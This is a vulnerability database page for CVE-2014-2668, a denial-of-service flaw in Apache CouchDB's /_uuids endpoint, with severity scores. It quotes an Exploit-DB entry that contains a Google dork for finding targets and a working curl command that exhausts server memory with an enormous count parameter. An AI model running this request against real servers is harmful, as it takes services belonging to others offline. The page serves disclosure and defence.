CVE-2014-2668 Detail

CVE-2014-2668

OWSAP

A03-Injection

EPSS

8.2%V3

Vector

Network

Published

2014-03-28
15h00 +00:00

Modified

2017-12-15
16h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

Apache CouchDB 1.5.0 and earlier allows remote attackers to cause a denial of service (CPU and memory consumption) via the count parameter to /_uuids.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 32519

Publication date : 2014-03-25 23h00 +00:00
Author : Krusty Hack
EDB Verified : Yes

# Exploit Title: Couchdb uuids DOS exploit # Google Dork inurl: _uuids # Date: 03/24/2014 # Exploit Author: KrustyHack # Vendor Homepage: http://couchdb.apache.org/ # Software Link: http://couchdb.apache.org/ # Version: up to 1.5.0 # Tested on: Linux Couchdb up to 1.5.0 HOW TO ====== curl http://couchdb_target/_uuids?count=99999999999999999999999999999999999999999999999999999999999999999999999 TEST ==== Tested on a 16G RAM Quadcore server. Couchdb dead on 30 seconds with only one GET request.